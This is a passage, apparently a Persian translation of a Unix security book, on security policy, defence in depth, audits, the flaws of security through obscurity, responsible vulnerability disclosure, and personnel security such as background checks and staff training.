فکر کردن به همهٔ این مسائل قبل از وقوع هر مشکلی کمک می‌کند که بتوان از وقوع آن مشکل جلوگیری کرد. تهیهٔ عبارتهای بامعنی در سیاست امنیتی به همه کمک می‌کند نگرانیها را بفهمند و مکانیزمهای صحیح پیشگیری را بکار بندند.

برای مسائل امنیتی یک رویکرد پایه اتخاذ کنید

ابتدا ببینید که می‌خواهید طبق کدام الگوی زیر عمل کنید: "هرچه صراحتاً ممنوع اعلام نشده باشد مجاز است" یا "هرچه صراحتاً مجاز دانسته نشده باشد ممنوع است". سپس ببینید موارد دیگر را چگونه می‌خواهید تعریف کنید. ممکن است مورد اول با یک محیط تقریباً باز سازگار باشد، مثل یک دانشگاه؛ درحالیکه مورد دوم بیشتر برای یک مؤسسهٔ تجاری مناسب است، مانند یک بانک.

دفاع در عمق

وقتی برای سیاست و روشهای مقابلهٔ خود برنامه‌ریزی می‌کنید، در یک لایه متوقف نشوید و برای دفاع در برابر تهدیدات مختلف، چند سطح حفاظتی همپوشان و مستقل بنا نمائید. سپس نظارت و بازبینی را نیز به آن مجموعه بیافزایید تا مطئمن شوید که اجرای سیاستهای اتخاذشده، در عمل نیز واقعاً جواب می‌دهد. احتمال گریز یک مهاجم از تنها یک مجموعهٔ دفاعی بسیار بیشتر از احتمال گریزش از مثلاً سه مرحلهٔ دفاعی بعلاوهٔ یک سیستم اخطار می‌باشد.[۸۲]

ضمانت اجرایی، و بازبینی‌های امنیتی

تدوین سیاست به تنهایی کافی نیست، بلکه باید مرتباً بررسی شود که آیا سیاست اتخاذ شده بصورت صحیح اعمال می‌شود یا نه، و اگر اعمال می‌شود آیا کافی و صحیح است یا خیر. واژهٔ *ممیزی*[۸۳] بار معنایی جدیدی پیدا کرده و درحال حاضر حداقل در معانی ممیزی مالی، دنباله‌های ردگیری (با استفاده از فایلهای ثبت)، بازبینی امنیتی یک سیستم، و بازبینی رعایت سیاست بکار می‌رود.

یک ممیزیِ *رعایت سیاست*[۸۴] عبارت است از اقداماتی که انجام می‌شود تا مشخص گردد آیا استانداردهای ذکرشده در سیاست رعایت می‌شوند یا نه، و اگر نمی‌شوند دلیل آن چیست. استانداردها معمولاً معیارها و روشهایی برای سنجیده‌شدن خود نیز بدست می‌دهند که می‌تواند توسط یک ممیز برای اندازه‌گیری رعایت‌شدن یا نشدن آن استاندارد مورد استفاده قرار گیرد. اگر استانداردها رعایت نشده باشند، این امر می‌تواند نتیجهٔ هر ترکیبی از موارد زیر باشد:

- کوتاهی کارکنان؛
- آموزش ناکافی و فقدان مهارتهای لازم؛
- کار زیاد؛
- نقص امکانات؛
- نداشتن انگیزهٔ لازم؛
- کمبود وسایل کافی؛
- منابع ناکافی یا نامناسب؛
- تعمیرات و پشتیبانی ناکافی؛
- کاربرد یا بارگذاری بیش از حد؛
- نارسائیهای سازمانی؛
- بی‌مسئولیتی؛
- تداخل مسئولیتها؛
- تقسیم کار نامشخص، ناهماهنگ و گیج‌کننده؛
- نارسائیهای سیاست؛
- مخاطرات پیش‌بینی نشده؛
- سیاستهای ناقص یا از قلم افتاده؛
- سیاستهای متداخل؛ و
- ناسازگاری سیاست و محیط.

نکتهٔ کلیدی در فهرست بالا این است که مشکلات سیاست را نمی‌توان ناشی از خطای کاربران یا راهبران دانست. حتی آموزش ناکافی یا اضافه‌کار بیش از حد عموماً در اختیار راهبران نیست. بنابراین یک ممیزیِ رعایت نباید بعنوان یک فرآیند نامطلوب دیده شود؛ بلکه باید به آن بصورت یک تلاش همگانی برای تشخیص مشکلات، یافتن و تخصیص مجدد منابع، پالایش سیاستها و استانداردها، و افزایش آگاهی در زمینهٔ نیازهای امنیتی نگریست. مشابه همهٔ قسمتهای

۸۲ *مراجعه کنید به منبع زیر، نوشتهٔ Tom Kellermann:*
"The 12 Layer Matrix: Building a Cyber-Fortress (2003)": http://wbln0018.worldbank.org/html/FinancialSectorWeb.nsf/SearchGeneral?openform&E-Security/E-Finance&Tools

83 *Audit*

84 *Compliance Audit Policy*

دیگر امنیت، اینجا نیز رویکرد گروهی در اکثر قریب به اتفاق شرایط مؤثرترین رویکرد است. اگر مسئله بطور صحیح مدیریت شود، کارکنان می‌توانند به امنیت مطلوب دست یابند. نکتهٔ کلیدی این است که به آنها در انجام کارهایشان کمک کنیم، نه اینکه خود را در طرف دیگر میز و در مقابلشان قرار دهیم.

اشکلات امنیت مبتنی بر جهل مهاجم

در مکانیزمهای سنتیِ امنیت که عمدتاً از سازمان اطلاعات ارتش نشأت می‌گرفت یک مفهوم با عنوان "نیاز به دانستن" وجود داشت. اطلاعات تقسیم‌بندی می‌شد و به هر کس آنقدر از آن تخصیص می‌یافت که بتواند با آن به وظایفش عمل کند. در محیطهایی که قسمتهای خاصی از اطلاعات از حساسیت برخوردارند یا *امنیت استنباطی*[۸۵] باید برقرار باشد، این سیاست از معنای خاصی برخوردار است. اگر سه قطعهٔ اطلاعاتی در کنار هم بتوانند یک نتیجهٔ مخرب به بار بیاورند ولی هیچکس به بیش از دو قطعه از آن اطلاعات دسترسی نداشته باشد آنگاه می‌توان گفت که امنیت تضمین شده است.

در یک محیط عملیات رایانه‌ای بکار گرفتن مفهوم "نیاز به دانستن" معمولاً مناسب نیست. این مسئله بویژه در شرایطی صدق می‌کند که شما امنیت خود را بر این مبنا قرار داده باشید که یک مسئله فنی برای مهاجمان نادانسته باشد. اتکا به جهل مهاجمین می‌تواند به ایمنی شما خدشه وارد کند.

محیطی را درنظر بگیرید که در آن مدیریت تصمیم می‌گیرد کتابچه‌های راهنما را از دسترس کاربران دور نگه دارد تا اجازه ندهد در مورد فرامین و گزینه‌هایی که ممکن است با آنها بتوان به سیستم خدشه وارد کرد مطلبی بیاموزند. در چنین شرایطی مدیران ممکن است بر این باور باشند که بدینوسیله امنیت خود را افزایش داده‌اند، اما در واقع اینطور نیست. یک مهاجم مصمم می‌تواند این اسناد را جای دیگری پیدا کند – از طریق کاربران یا ادارات دیگر. مقادیر فراوانی از این اسناد در فاصله‌ای کمتر از نزدیکترین کتابفروشی به هر اداره موجود هستند! مدیریت نمی‌تواند همهٔ راههای یادگیری در مورد سیستم را ببندد. ضمن اینکه کاربران محلی به این دلیل که نمی‌توانند اسناد را ببینند و در مورد گزینه‌های کارآتر مطلب بیاموزند، ممکن است از دستگاهها بهرهٔ بسیار کمی ببرند. همچنین ممکن است انگیزهٔ ایشان تضعیف شود، چراکه پیام ضمنی مدیریت با انجام اینکار این است که "ما به شما اعتماد کامل نداریم که یک کاربر مسئولیت‌شناس باشید". از این گذشته در چنین شرایطی اگر کسی به سوء استفاده از فرامین و ویژگیهای سیستم بپردازد، ممکن است مدیریت توانایی کافی برای شناخت و مبارزه با مشکل را نداشته باشد؛ و اگر مسئله‌ای برای یک یا دو نفر از کاربران که مجاز به دسترسی به اسناد بوده‌اند رخ دهد، دیگر کسی با تجربه یا اطلاعات لازم وجود ندارد که در مواقع بروز مشکلات همیاری کند.

محرمانه نگهداشتن اشکالات یا قابلیتها برای ایجاد حفاظت در مقابل آنها نیز یک رویکرد ضعیف امنیتی است. نویسندگان نرم‌افزار معمولاً در برنامه‌هایشان درب مخفی قرار می‌دهند که به آنها اجازه می‌دهد بدون ارائه رمز عبور، امتیازات دسترسی بدست بیاورند. گاهی نیز اشکالات سیستم با عوارض عمیق امنیتی همچنان باقی می‌مانند، چراکه مدیر تصور می‌کند کسی از آنها اطلاع ندارد. مشکل این رویکردها این است که احتمال زیادی وجود دارد که مشکلات و ویژگیهای موجود در برنامه بصورت تصادفی و یا بوسیلهٔ یک نفوذگر مصمم کشف شوند. مخفی نگهداشتن اشکالات و ویژگیها به این معنی است که مورد مشاهده قرار نمی‌گیرند و طبیعتاً اصلاح‌نشده باقی می‌مانند. لذا پس از آنکه کشف شدند، وجود مشکل باعث می‌شود تمام سیستمهای مشابه نسبت به حملهٔ افرادی که مشکل را کشف کرده‌اند آسیب‌پذیر باشند.

ارزش مخفی نگهداشتن الگوریتمها – مثلاً یک الگوریتم انحصاری رمزگذاری – نیز قابل بحث است. تا زمانیکه یک متخصص *رمزنگاری*[۸۶] نباشید نمی‌توانید قدرت الگوریتم را تشخیص دهید. نتیجه ممکن است مکانیزمی باشد که دارای نقایص جدی است. الگوریتمی که مخفی نگهداشته می‌شود طبیعتاً توسط دیگران مورد بررسی قرار نمی‌گیرد و لذا هر کسی که اشکالی در آن بیابد خواهد توانست بدون اطلاع شما به داده‌هایتان دسترسی پیدا کند.

بطور مشابه محرمانه نگهداشتن متن برنامهٔ سیستم‌عامل یا

برنامه‌های کاربردی نیز هیچ تضمینی برای تأمین امنیت بوجود نمی‌آورد. کسانیکه تصمیم گرفته باشند به سیستم شما وارد شوند هر از چندگاه حفره‌های امنیتی را پیدا می‌کنند؛ مستقل از اینکه متن برنامه را در اختیار داشته باشند یا نداشته باشند.[۸۷] اما بدون دسترسی به متن برنامه، کاربران نمی‌توانند آنرا بطور مدون بررسی کنند تا مشکلات آنرا بیابند؛ و لذا هرچند ممکن است با مخفی نگهداشتن متن برنامه مزیت کوچکی بوجود بیاید، اما امنیت نباید به این مخفی‌بودن وابستگی داشته باشد.

نگرش به مقولهٔ امنیت یک نکتهٔ کلیدی است. درصورت خدشه‌دار شدن محرمانگی آندسته از اقدامات دفاعی که بر مبنای مخفی‌کاری استوارند همگی ارزش خود را از دست خواهند داد. حتی بدتر از آن اینکه تداوم محرمانگی باعث جلوگیری یا محدود شدن بازبینی و نظارت بر برنامه می‌شود و ممکن است هرگز نتوان فهمید که آیا این محرمانگی خدشه‌دار شده است یا خیر. بوسیلهٔ الگوریتمها و مکانیزمهایی که ذاتاً مستحکم هستند می‌توان امنیت بیشتری برقرار کرد، حتی اگر مهاجم از آنها آگاهی داشته باشد. این حقیقت که شما از مکانیزمهای مستحکمی استفاده می‌کنید که همه از آن آگاهی دارند ممکن است مهاجم را ناامید کند و باعث شود جای دیگری غیر از سیستمهای شما بدنبال هیجان ناشی از نفوذ باشد. اگر پولهایتان را در یک کشوی قفل‌دار پنهان کنید امنیت آن بیشتر از زمانی است که کسی نداند از پولهایتان در یک قوطی سس مایونز در یخچال نگهداری می‌کنید!

افشای مسئولانه

مقصود از ایرادی که به "امنیت مبتنی بر جهل مهاجم" وارد شد این نیست که بگوییم بلافاصله بعد از اینکه حفره‌های امنیتی را پیدا کردید آنرا بطور گسترده به اطلاع عموم برسانید. میان مخفی‌کاری و احتیاط تفاوتهای عمده وجود دارد. اگر در یک نرم‌افزار توزیع‌شده یا پرمصرف حفرهٔ امنیتی کشف کردید باید بدون سر و صدا و هرچه سریعتر آنرا به توسعه‌دهندهٔ آن نرم‌افزار اطلاع دهید. همچنین توصیه می‌کنیم که آنرا به اطلاع یکی از مؤسسات FIRST (که در ضمیمهٔ ۴ در مورد آنها توضیح داده شده) نیز برسانید. این مؤسسات می‌توانند به توسعه‌دهندگان کمک کنند تا برای حفره‌های امنیتی کشف‌شده وصله‌هایی تهیه نمایند و مطمئن شوند که وصله‌ها توزیع شده و بطور صحیح مورد استفاده قرار گرفته‌اند.

اگر حفرهٔ امنیتی یک نرم‌افزار را در بوق و کرنا کنید، تمام افرادی را که از آن نرم‌افزار استفاده می‌کنند و نمی‌توانند اشکالات آنرا رفع کنند دچار مشکل کرده‌اید. در محیط Unix بسیاری از کاربران عادت کرده‌اند که برای اصلاح اشکالات یک برنامه، در متن آن ایجاد تغییرات کنند.

متأسفانه همه از چنین قابلیتی برخوردار نیستند و بسیاری از مصرف‌کنندگان باید هفته‌ها یا ماهها صبر کنند تا نرم‌افزار به‌روزرسانی‌شده توسط فروشندهٔ مربوطه منتشر شود. بعضی ادارات ممکن است – بدلیل اینکه جز روشن کردن رایانه و کار با نرم‌افزار مورد نیاز کار دیگری با رایانه نمی‌کنند و یا نرم‌افزارشان بر اساس تنظیمات موجود گواهی دریافت کرده و لذا نمی‌توانند پیکربندی آنرا تغییر دهند – حتی قادر به ارتقای نرم‌افزار خود هم نباشند. ممکن است بعضی سیستمها توسط افرادی راهبری شوند که مهارت لازم برای اعمال وصله‌ها را نداشته باشند، و از سایر سیستمها هم استفادهٔ فعال نشود و یا خارج از حیطهٔ پشتیبانی سازمان باشند. همیشه مسئولانه عمل کنید. بهتر است یک وصله را بدون توضیح در مورد زیربنای آسیب‌پذیری مربوطه میان کارکنان توزیع کنیم، تا اینکه بخواهیم به مهاجمان جزئیاتی در مورد روشهای نفوذ به سیستمهای وصله‌نشده ارائه نماییم.

ما موارد زیادی دیده‌ایم که در آن فردی متخصص یک اشکال مهم امنیتی را در یک گروه پست الکترونیکی بسیار عمومی گزارش کرده است. اگرچه هدف این شخص دریافت یک اصلاح سریع از جانب فروشندگان بوده، ولی نتیجهٔ کار موجی از تهاجمات به سیستمهایی شده که راهبران آنها به مطالب آن گروه پستی دسترسی نداشته و یا قادر به اعمال اصلاح ارائه‌شده نبوده‌اند.

اگر هنوز وصله‌ای برای آسیب‌پذیریهای اخیر سیستم شما وجود نداشته باشد، ارسال جزئیات آنها به یک گروه پستی نه‌تنها بسیاری پایگاههای دیگر را به مخاطره خواهد انداخت،

---

۸۷ *تا زمانی که شما همهٔ قسمتهای یک نرم‌افزار را بوسیلهٔ خود و در ایستگاه کاری خودتان توسعه ندهید، افراد مختلفی ممکن است به متن برنامه دسترسی پیدا کرده باشند و این احتمال وجود دارد که متن برنامه تصادفاً یا تعمداً افشا شود.*

بلکه اگر یک نفوذگر از آن اشکال برای نفوذ به سایتهای دیگر استفاده کند، ممکن است در رابطه با خسارتهای وارده علیه شما نیز اقدامات قانونی صورت بگیرد.[۸۸] اگر شما نگران امنیت خود هستید متوجه باشید که جزئی از یک جامعه می‌باشید. در جامعه باید بدنبال تقویت امنیت دیگران هم بود و به یاد داشت که ممکن است روزی هم ما به کمک دیگران نیاز پیدا کنیم.

جمع‌بندی بحث پیشگیری و سیاست

کلید ارزیابی مخاطرهٔ موفق، تشخیص همهٔ تهدیدات ممکن علیه سیستم و دفاع در برابر حملاتی است که از نظر شما احتمال وقوع بیشتری دارند.

اینکه انسان ضعیفترین حلقهٔ امنیتی است به این معنا نیست که باید حفاظت از نقاط ضعف دیگر را به فراموشی سپرد. انسان غیرقابل پیش‌بینی است اما سوء استفاده از یک مودم که رمز عبور ندارد بسیار ساده‌تر از متقاعد کردن یک کارمند کلیدی به دریافت رشوه است. بنابراین هرجا که امکان آن وجود داشته باشد باید از مکانیزمهای تدافعیِ مبتنی بر فناوری استفاده کنیم و امنیت کارکنان خود را با آموزش کاربران و کارکنان بهبود بخشیم. علاوه بر این به دفاع در عمق تکیه می‌کنیم: مراحل چندگانهٔ دفاعی مثل پشتیبانها را بکار می‌بریم تا درصورت ناموفق بودن یک لایه در تأمین دفاع لازم، دچار زیانهای اساسی نشویم. بعنوان مثال یک سیستم جایگزین UPS می‌خریم؛ یا هرچند روی در ساختمان یک قفل مستحکم وجود دارد، قفل جداگانه‌ای روی در ورودی اتاق رایانه قرار می‌دهیم. حقیقت این است که مهاجم می‌تواند بر این ترکیبها نیز غلبه کند، ولی ما هزینهٔ انجام اینکار را برای او بالا می‌بریم؛ آنقدر بالا که شاید بتوانیم او را قانع کنیم که عبور از موانع سیستم ما به دردسرهایی که دارد نمی‌ارزد. در حالت حداقلی می‌توانید امیدوار باشید که آنقدر سرعت مهاجم را کاهش داده باشید که پیش از اینکه دارائیهای مهم از دچار مشکل شوند، سیستمهای نظارت و هشدار، شما را از جریان نفوذ آگاه کنند.

با توجه به این محدودیتها شما باید با اولویتهایی که از قبل روی آنها کاملاً فکر کرده‌اید به سراغ امنیت رایانه‌ای بروید؛ چراکه نمی‌توانید در مقابل تمام تهدیدات ممکن، حفاظت بوجود آورید. گاهی اوقات بجای جلوگیری از وقوع یک مشکل باید اجازه دهید آن مشکل رخ دهد و سپس به رفع آثار آن اقدام کنید. برای مثال در مواجهه با یک قطعی برق ممکن است شرایط طوری باشد که اگر بگذارید سیستمها خاموش و راه‌اندازی مجدد شوند برایتان بسیار ارزانتر از خریداری یک سیستم UPS تمام شود.

موارد دیگری هستند که ممکن است شما در مورد دفاع در مقابل آنها ایدهٔ خاصی نداشته باشید (مثل تهاجم یک بیگانه از فضا)؛ یا به آن سبب که بسیار غیر محتمل هستند، دفاع در مقابلشان بسیار سخت باشد (مثل وقوع یک انفجار هسته‌ای در ۲۰۰ متری مرکز اطلاعات شما) یا بسیار فاجعه‌آمیزتر از آن باشند که بتوان با آنها مقابله کرد (مثل اینکه مدیر شما تصمیم بگیرد که تمام ماشینهای یونیکس را تبدیل به یک سیستم‌عامل معروفتر نماید!). کلید رمز مدیریت خوب، دانستن چیزهایی است که در مورد آنها نگرانی دارید و نیز اینکه هریک از این مسائل تا چه اندازه نگران‌کننده هستند.

تصمیم‌گیری در مورد آنچه که می‌خواهید از آن حفاظت کنید و هزینه‌هایی که ممکن است برای جلوگیری از تلفات آن بدهید را در مقابل هزینه‌های ترمیم ضررهای ناشی از یک رخداد قرار دهید. آنگاه با توجه به این جدول و بر اساس یک فهرست اولویت‌بندی‌شده از اکثر قریب به اتفاق نیازهای حیاتی، تصمیم خود را در مورد فعالیتها و معیارهای امنیتی بگیرید. اطمینان حاصل کنید که در این تحلیل علاوه بر رایانه‌ها، تجهیزات و سرمایه‌های دیگر را نیز درنظر گرفته‌اید؛ و فراموش نکنید که نوارهای پشتیبان، اتصالات شبکه، پایانه‌ها، و مدارک شما همه اجزایی از سیستم هستند و هریک می‌توانند خسارتهایی را به کل سیستم وارد آورند. سلامت کارکنان، ساختمان شرکت، و اعتبار و وجههٔ عمومی آن نیز بسیار حائز اهمیت هستند و باید در محاسبات طرحهای امنیتی درنظر گرفته شوند.

---

۸۸ *هرچند ما هنوز وقوع چنین موردی را ندیده‌ایم، اما وکیلان متعددی به ما گفته‌اند که انتظار دارند موکلانشان انجام چنین کاری را از آنها بخواهند.*

فصل ششم
امنیت کارکنان

کلیات

این فصل بطور خلاصه آندسته از مسائل امنیتی را بررسی می‌کند که از داخل سازمان نشأت می‌گیرند. مسائل امنیتی کارکنان از استخدام و اخراج گرفته تا آموزش و آگاهی آنان نقشی حیاتی در عملکرد پیشگیرانه و دفاعی سازمان دارند.

مخاطرات نشأت‌گرفته از کارکنان؛ تهدیدی پنهان برای سازمان

چند فقره از رخدادهای خبرسازی که طی چند سال اخیر توسط کارکنان سازمانها اتفاق افتاده را درنظر بگیرید:

- *نیک لیسون*[۸۹] یک تاجر سرمایه‌گذار در بانک *بارینگز*[۹۰] شعبهٔ سنگاپور، و *توشیهاید ایگوچی*[۹۱] از دفتر نیویورک بانک *دایوا*[۹۲] هر دو اقدام به سرمایه‌گذاریهای پر مخاطره‌ای کردند که منجر به از دست دادن مقادیر قابل توجهی از سرمایهٔ بانکهایشان شد؛ اما آنها بجای پذیرش شکست، سوابق حسابهای رایانه‌ای را دستکاری کردند و عملاً با انجام اینکار پولِ باز هم بیشتری را برای جبران ضررهای قبلی وارد این قمار نمودند؛ و سرانجام نیز بعد از وارد آوردن بیش از یک میلیارد دلار زیان به هریک از این دو بانک مورد شناسایی قرار گرفتند. در نتیجهٔ این اقدامات بانک بارینگز مجبور به اعلام ورشکستگی شد و بانک دایوا نیز مجوز انجام فعالیت اقتصادی در ایالات متحده را برای همیشه از دست داد.

89 Nick Leeson
90 Barings Bank
91 Toshihide Iguchi
92 Daiwa

- در ایالات متحده بعضی سازمانها و افراد علیرغم در اختیار داشتن تأییدیه‌های معتبرِ امنیتی از CIA، FBI و ارتش، اطلاعات طبقه‌بندی شده‌ای را در اختیار روسیه و اسرائیل قرار می‌دادند (مثل *آلدریچ ایمز*[۹۳]، *جاناتان پولارد*[۹۴]، *رابرت هانسون*[۹۵] و *رابرت واکر*[۹۶]). این افراد علیرغم وجود کنترلهای متعدد امنیتی قادر به انجام فعالیتهای مخرب جاسوسی – بعضاً تا بیش از یک دهه – بوده‌اند.
- *جان داچ*[۹۷] رئیس CIA در زمان ریاست جمهوری بیل کلینتون، اطلاعات محرمانهٔ دولتی را از سازمان به خانه‌اش می‌برد و در آنجا در رایانه‌هایی ذخیره می‌کرد که برای کاربری "طبقه‌بندی نشده" پیکربندی شده بودند. درحالیکه اطلاعات طبقه‌بندی‌شده در رایانه‌ها قرار داشتند، از آنها برای دستیابی به پایگاههای وب مبتذل و غیر اخلاقی هم استفاده می‌شد – پایگاههایی که ممکن بود هم از آسیب‌پذیریهای عمومی و منتشرشده و هم از آسیب‌پذیریهای جدید و افشانشده برای حمله به سیستمهای مراجعه‌کننده استفاده کنند. علیرغم اینکه در این مورد مقررات و قوانین متعددی توسط داچ زیر پا گذاشته شده بود، هیچ اقدام عملی علیه او انجام نشد و در آخرین روز ریاست جمهوری کلینتون نیز مورد عفو وی قرار گرفت.

اگر شما این موارد و سایر قانون‌شکنیها و تخلفات رایانه‌ای را طی چند دههٔ اخیر بررسی کنید، یک ویژگی مشترک در آنها می‌بینید: همهٔ آنها توسط افراد بوقوع پیوسته‌اند. عوامل نفوذ، افراد بوده‌اند؛ ویروسهای رایانه‌ای را افراد نوشته بودند؛ و رمزهای عبور را نیز افراد دزدیده بودند.

امنیت کارکنان" عبارت است از همهٔ مواردیکه مربوط به کارکنان می‌شود: استخدام، آموزش، کنترل رفتار، و گاهی نیز اخراج. آمار نشان می‌دهد که مهمترین دستهٔ مرتکبین جرائمِ سنگین رایانه‌ای کسانی هستند که یا از دسترسی قانونی به داده‌ها برخوردارند و یا در گذشتهٔ نزدیک از آن برخوردار

93 Aldrich Ames
94 Janathon Pollard
95 Robert Hanson
96 Robert Walker
97 John Deutch

بوده‌اند. بعضی مطالعات نشان می‌دهد که بیش از ۸۰٪ رخدادها توسط چنین افرادی رخ می‌دهد. بنابراین قسمت مهمی از یک طرح امنیتی خوب عبارت است از ادارهٔ کارکنان با دسترسیهای طبقه‌بندی‌شده.

افراد به دو صورت در بروز مشکلات امنیت رایانه‌ای تأثیر دارند. بعضی از آنها با دنبال نکردن روالهای امنیتی، به فراموشی سپردن ملاحظات امنیتی، و مطلع نبودن از نتایج کارهایی که انجام می‌دهند، سهواً به وقوع رخدادهای امنیتی کمک می‌کنند. بعضی دیگر نیز آگاهانه کنترلها و روالها را زیر پا می‌گذارند تا به وقوع یک رخداد کمک کرده باشند یا خود بتنهایی باعث وقوع آن شوند. همانطور که قبلاً اشاره کردیم در بیشتر موارد افرادی که بصورت آگاهانه در مشکلات امنیتی شما نقش دارند کسانی هستند که کارمند خودتان می‌باشند (یا تا همین اواخر بوده‌اند): افرادی که از کنترلها مطلعند و می‌دانند چه اطلاعاتی با چه ارزشی ممکن است در کدام قسمت وجود داشته باشد.

شما در طول مدتی که مثلاً یک سیستم Unix را راهبری می‌کنید ممکن است با افرادی از هر دو گروه مواجه شوید. کنترلها و مکانیزمهای مربوط به امنیت کارکنان بسیار متعدد و گوناگون هستند و بحث و بررسی تمامی آنها به یک کتاب کامل نیاز دارد؛ بنابراین ما تنها به خلاصه‌ای از مهمترینِ آنها می‌پردازیم. تدوین سیاست برای کارکنان نمی‌تواند از وقوع نفوذهای امنیتی جلوگیری کند، اما آندسته از تهدیدات امنیتی که از جانب کارمندان خودتان متوجه شرکت شماست را کاهش می‌دهد.

امنیت در فرآیند استخدام

بررسی پیشینه‌ها

هنگامیکه کارکنان جدید را استخدام می‌کنید پیشینهٔ آنها را بررسی نمایید. ممکن است از متقاضیان خواسته باشید که فرمهای استخدامی را پر کنند، اما بعد از آن چه؟ حداقل کار این است که تمامی منابعی که هر متقاضی برای شناساندن خود معرفی کرده را بررسی کنید تا بتوانید به گذشتهٔ او – از جمله دلایل ترک کارهای قبلی‌اش – پی ببرید. فراموش نکنید که در بررسی سوابق، تاریخ استخدامها و ترک کارهای قبلی و همچنین بازه‌های خالی میان آنها را به دقت مورد کنکاش قرار دهید. همچنین لازم است اعتبار هر گواهینامه و مدرک تحصیلی را بسنجید؛ زیرا تاکنون بسیار پیش آمده که افرادی در مورد مدارک تحصیلی خود از دانشگاههای معتبر سخن رانده‌اند، درحالیکه آن دانشگاهها هیچ سابقه‌ای در اختیار نداشتند که نشان دهد حتی یک واحد درسی توسط آن افراد بصورت کامل گذرانده شده است! بعضی افراد نیز ممکن است مدارکی ارئه کنند که مربوط به دانشگاههایی باشد که تنها اندکی بزرگتر از یک دفتر پستی هستند! توجه داشته باشید از کسی که برای به استخدام در آمدن در یک شغل به دروغ متوسل می‌شود نمی‌توان در مشاغل حساس استفاده کرد.

تحقیقات متمرکز

در برخی موارد ممکن است بخواهید تحقیقات جدی‌تری در رابطه با شخصیت و پیشینهٔ متقاضیان داشته باشید. با توجه به سطح شغلی که قرار است متقاضی در آن قرار گیرد و دسترسیهایی که قرار است به سیستمها و داده‌های حساس داشته باشد شاید بخواهید:

- از کمک یک سازمان ویژهٔ انجام تحقیقات برای بررسی پیشینهٔ افراد استفاده کنید؛
- از متقاضیان سند عدم سوء پیشینهٔ جنایی بخواهید؛
- سوابق اعتباری متقاضیان را بررسی کنید تا ببینید آیا بدهی‌های شخصی بزرگی داشته‌اند که از پس آن بر نیامده باشند یا خیر. اگر موردی پیدا کردید دربارهٔ آن با خود متقاضی گفتگو کنید. افرادی که مقروض هستند نباید از کار کردن محروم شوند؛ چون در اینصورت هیچگاه قدرت بازپرداخت بدهی‌هایشان را پیدا نخواهند کرد. البته نباید از نظر دور داشت که احتمال بروز رفتار نادرست کاری از کارکنانی‌که تحت فشارهای اقتصادی هستند بیشتر است.
- بعمل آوردن آزمون دروغ‌سنجی از متقاضی را (اگر قانون به شما اجازه می‌دهد) از نظر دور ندارید. گرچه آزمونهای دروغ‌سنجی همیشه دقیق نیستند، اما اگر موقعیت شغلی حساسی را برای متقاضی درنظر گرفته‌اید می‌توانند مفید باشند.
- از متقاضی بخواهید که برای کار در شغل مربوطه یک ضمانتنامه بیاورد. بطور کلی انجام تمامی این مراحل

برای استخدام همهٔ کارمندان توصیه نمی‌شود، اما در مورد کارمندانی که قرار است در پستهایی کار کنند که در آنها به سطح بالایی از اعتماد نیاز است و شاغلین نیز از دسترسیهای ویژه برخوردار می‌شوند – مثل جذب و یا اخراج کارکنان – باید بررسیهای بیشتری بعمل آورید. پیشنهاد می‌کنیم به متقاضی اطلاع دهید که می‌خواهید چنین بررسیهایی را انجام دهید و برای اینکار رضایت او را نیز جلب کنید. انجام اینکار هرچند ضروری نیست ولی باعث می‌شود که انجام بررسیها راحت‌تر شود و متقاضی متوجه باشد که شما در استخدام وی محتاط و جدی هستید. گاهی اوقات برای انجام این تحقیقات به اجازهٔ صریح متقاضی نیاز دارید.

بررسیهای مجدد و دوره‌ای

زمانی که آزمونهای خود را انجام داده و متقاضی را استخدام کردید باید بعضی از بررسیها را بصورت دوره‌ای مجدداً انجام دهید. پس از آن باید نتایج بررسیهای فعلی و قبلی را با هم مقایسه کنید تا به تغییرات بوجود آمده پی ببرید. بعضی تغییرات ممکن است نیاز به بررسیهای عمیقتری داشته باشند.

بعنوان مثال اگر کارمندی داشته باشید که مسئول سیستم حسابداری شما – از جمله تهیهٔ چکهای رایانه‌ای برای بستانکاران – باشد، شاید لازم باشد اعتبار موجود در حسابهای بانکی او را نیز در بازه‌های کوتاه زمانی بررسی کنید. اگر بررسی و تحقیق مجدد شما هر دو سال یکبار انجام شود و دریابید که رفتار یکی از کارمندان خارج از معیارهای تعیین‌شده است، علی‌القاعده تصمیم خواهید گرفت که در آن مورد تحقیقات بیشتری بعمل بیاورید.

آموزش اولیه

نگرانیهای امنیتی شما در مورد یک کارمند نباید پس از استخدام او متوقف شود. هر کاربر رایانه حتماً باید در مورد سیاستهای امنیتی، آموزشهای زیربنایی ببیند. این آموزش در حالت حداقلی باید شامل روالهای مناسب انتخاب و استفاده از رمز عبور، دسترسی فیزیکی به رایانه‌ها و شبکه‌ها (اینکه چه کسی مجاز است به تجهیزات متصل شود و چگونه)، روالهای تهیه و نگهداری از نسخهٔ پشتیبان، سیاستهای برقراری تماس رایانه‌ای با شرکت (از طریق تلفن)، و سیاستهای افشای اطلاعات پشت تلفن باشد. مقامات اجرایی نباید بدلیل موقعیتشان از این موارد مستثنی شوند – آنها هم اگر نه بیشتر، حداقل به اندازهٔ کارکنان دیگر در معرض انتخاب رمز عبور ضعیف و سایر اشتباهات هستند. آنها نیز باید پایبندی خود به مسائل امنیتی را نشان دهند، چراکه آگاهی امنیتی در سازمانها از بالا به پائین جریان می‌یابد و نه بالعکس.

آموزش باید شامل اسناد نوشتاری و یک نسخه از سیاستهای کاربرد رایانه شود و مباحثی چون کاربرد درست و نادرست رایانه‌ها و شبکه‌ها، استفادهٔ شخصی از تجهیزات رایانه‌ای (در خلال و بعد از اتمام ساعات کار)، سیاستهای مالکیت و کاربرد پست الکترونیکی، و سیاستهای مربوط به ورود و خروج نرم‌افزارها و داده‌ها را در بر گیرد. مجازاتهای نقض مقررات نیز باید هنگام آموزش شرح داده شوند.

همهٔ کاربران باید فرمهایی مبنی بر آگاهی از این اطلاعات و پذیرفتن محدودیتهای آن امضا کنند. این فرمها باید سالها نگهداری شوند تا اگر بعدها این سؤال مطرح شد که آیا به کارمند در مورد آنچه که سازمان در قبال وی مجاز به انجام آن است آگاهی قبلی داده شده یا خیر، بتوان یک مدرک اثبات‌کننده ارائه کرد.

آموزش و آگاهی مداوم

کاربران لازم است بطور متناوب اطلاعات تازه‌ای در رابطه با امنیت و استفادهٔ صحیح از رایانه دریافت کنند. این بازآموزی برای کاربران فرصت مناسبی جهت یادآوری تهدیدهای موجود و پیامدهای آنها بوجود می‌آورد و یک فضای مباحثه‌ای برای تبادل نظر و در میان گذاشتن نگرانیها ایجاد می‌کند.

